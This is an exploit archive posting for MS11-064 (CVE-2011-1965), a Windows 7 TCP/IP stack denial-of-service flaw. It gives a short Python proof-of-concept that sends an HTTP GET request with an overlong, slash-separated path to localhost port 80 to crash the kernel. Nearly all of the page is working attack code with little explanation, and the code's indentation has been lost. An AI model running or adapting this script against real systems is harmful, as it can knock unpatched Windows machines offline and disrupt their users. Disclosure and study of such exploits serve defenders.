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MS11-064 TCP/IP Stack Denial Of Service

MS11-064 TCP/IP Stack Denial Of Service
Posted Oct 16, 2011
Authored by Byoungyoung Lee

This exploit demonstrates denial of service vulnerabilities in the Windows TCP/IP stack as outlined in MS11-064.

tags | exploit, denial of service, tcp, vulnerability
systems | windows
advisories | CVE-2011-1965
MD5 | fb02d28f916d8d8a1b531af4ce1ecc5d

MS11-064 TCP/IP Stack Denial Of Service

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# Exploit Title: MS11-064 : Vulnerabilities in TCP/IP Stack Could Allow Denial of Service
# Date: 10/12/2011
# Author: Byoungyoung Lee, http://www.cc.gatech.edu/~blee303/
# Version: Windows 7 32bit, fully patched until Aug 2011
# Tested on: Windows 7 32bit
# CVE : CVE-2011-1965

# analysis is available -
http://exploitshop.wordpress.com/2011/09/07/ms11-064-vulnerabilities-in-tcpip-stack-could-allow-denial-of-service-2563894/

------------------------------------------------------------------------------------------------------
# Byoungyoung Lee, http://twitter.com/mylifeasageek
import struct
import socket

HOST = "localhost" # yeah, we've tried this as a local kernel exploit -:)
PORT= 80

def tryOnce(i,j):
print hex(i), hex(j)
filename = ["a"*0x100 for x in range(i)]

filename = "/".join(filename)
filename += "/" + "b" * j
print "filename len : ", hex(len(filename))

hostname = "www.darungrim.org"

header = "GET /%s\n" % filename
header += "HOST: %s\n\n\n" % hostname

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.send(header)
response = s.recv(1024)
s.close()
print response
return

if __name__ == '__main__':
tryOnce(0x3c,0x7)

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